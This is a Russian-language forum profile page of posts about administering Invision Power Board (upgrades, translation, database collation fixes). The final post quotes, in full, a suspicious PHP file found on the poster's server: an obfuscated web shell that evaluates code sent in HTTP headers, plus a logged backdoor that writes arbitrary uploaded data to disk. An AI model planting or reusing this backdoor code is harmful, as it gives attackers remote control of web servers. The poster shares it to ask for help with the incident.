Everything posted by EIKA
- Как реализовать резервное копирование 4.1.14.2
-
Право пользователя на закрытие топика
Как разрешить пользователю закрывать свои темы? Поиск в понели по lock и close ничего не дает. Поиск в Гугле и гайде 4-ой версии тоже результата не принес. IPS 4.
-
Русификация IPS Community Suite 4.x
Из того, что сразу заметил, при регистрации акка Location не переведено. Локализовывал полным файлом Russian (RU) - All Applications.xml, борда 4.1.14.2. Пришлось ручками прописывать, благо в 4-ке это сделано удобно.
-
IPS UTF8 Database Converter 1.1.20
Проблему решил. Так как в инете много таких случаев, но нигде не описано решение, делюсь своим опытом. Базы сконвертил сам. Несмотря на то, что они и ранее все были UTF8, то часть колонок была в general_ci, а IPS 4 хочет unicode_ci. Берем программу HeidiSQL, идем в Tools -> Bulk table editor, выбираем нашу базу слева, information_schema НЕ выделяем, и справа делаем 2 настройки как винно на скрине. Выполнение в целом летит весело, но на таблице posts оно может залипать на минуты. Нужно ждать, так как эта таблица может быть огромного размера. После этого скрипты ips4 и utf8convert претензий к базе не имеют.
-
IPS UTF8 Database Converter 1.1.20
Но что самое непонятное, это вот что Some or all of the columns in your database are not using the utf8_unicode_ci collation (admin_login_logs.admin_ip_address is utf8_general_ci). А вот что в БД в реале admin_ip_address varchar(46) utf8_unicode_ci Даем команды: ALTER DATABASE databasename CHARACTER SET utf8 COLLATE utf8_unicode_ci; ALTER TABLE tablename CONVERT TO CHARACTER SET utf8 COLLATE utf8_unicode_ci; Результат применения - 0 строк.
-
IPS UTF8 Database Converter 1.1.20
То же самое. Error: include(/uploads/profile/photo-7789.jpg): failed to open stream: No such file or directory File: /home/c/public_html/conf_global.php(184) : runtime-created function Line: 1 И встроенный конвертер, и отдельно скачанный с IPB. Куда копать?
-
Задвоилось меню IPB после апгрейда
Стили как раз стандартные. Устранил через Revert Template Customization.
-
Задвоилось меню IPB после апгрейда
Обновился с 3.2.0 на 3.4.7. Верхнее меню частично задвоилось. Для всех пользователей. Сейчас меню такое: Главная | Forums | Members | Forums | Members | Gallery Все кеши, которые я нашел, сбрасывал и ребилдил. Не помогает. Вручную шаблоны не правились.
-
Не получается сделать обновление 3.2.0 > 4.3.7
Понял, спасибо. Тема закрыта.
-
Не получается сделать обновление 3.2.0 > 4.3.7
Тьфу. Меня перекосило. Нужно было просто поверх перезаписать, а я подумал что в отдельную папку, и оно оттуда будет перезаписывать поверх в процессе инсталляции. Можно закрывать. Все обновилось отлично. Единственное, я не понял, почему анти-спам был включен. Вроде как обещали, что в нулле он выключен (нужна лицензия для работы?).
-
Не получается сделать обновление 3.2.0 > 4.3.7
Форум в корне, в /WWWROOT/
-
Не получается сделать обновление 3.2.0 > 4.3.7
Нет, ну зачем поверх. В инструкции написано заливать в папку /upload/, я туда и залил. В итоге апгрейд сейчас лежит в /WWWROOT/upload/
-
Не получается сделать обновление 3.2.0 > 4.3.7
Закачал файлы в upload, запускаю /admin/upgrade/, процесс начинается, но на этапе проверки версий скрипт говорит, что все up to date. Хотя на сервере крутится 3.2.0, а файлы в /upload/ 3.4.7 (проверил дважды). Поставить галочку напротив IPB 3.2.0 не дает. Соответственно, обновляться не дает. В чем может быть дело?
-
Непонятный PHP-файл, который появился сам в IPB 3.2
Обновляться буду, но позже, ибо тут немного дизайн подпилен, уже не помню где и что я там пилил...
-
Непонятный PHP-файл, который появился сам в IPB 3.2
Здравствуйте! Обнаружил PHP-файл, который не загружал на сервер, а также которого нет в исходном дистре IPB 3.2. Файл называется 5c258130.php. Файл нашел в 2 местах, содержимое отличается: В корне: <?php $_a3dc="x70x72x65x67x5fx72x65x70x6cx61x63x65";$_a3dc("x7cx2ex7cx65","x65x76x61x6cx28x27x65x76x61x6cx28x62x61x73x65x36x34x5fx64x65x63x6fx64x65x28x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7x22x29x29x3bx27x29",'.');?> В папке cache: ============================================================================== URL: /index.php/index.php Date: Tue, 20 Nov 2012 10:16:53 +0000 IP Address: 31.3.250.226 Time Taken: 0.04346 <?php file_put_contents(@$_SERVER[HTTP_FILENAME],base64_decode(@$_SERVER[HTTP_DATA]));echo md5(12345);?> ============================================================================== ============================================================================== ========================= END =================================== ========================= /index.php? =================================== ============================================================================== IP-адрес Великобритании. Я там никогда не хостился и сам из тех сетей не ходил. Сам не программер, оценить код PHP не могу. Тем более, что первый выглядит как упакованный или как какой-то брутфорсер. Внимание, вопросы: 1. Что это такое? 2. Как могло попасть (данные для входа никто не имел, пароли все мегастойкие)? 3. Что оно делало? Точная версия борды: IP.Board Version 3.2.0 (ID:32003)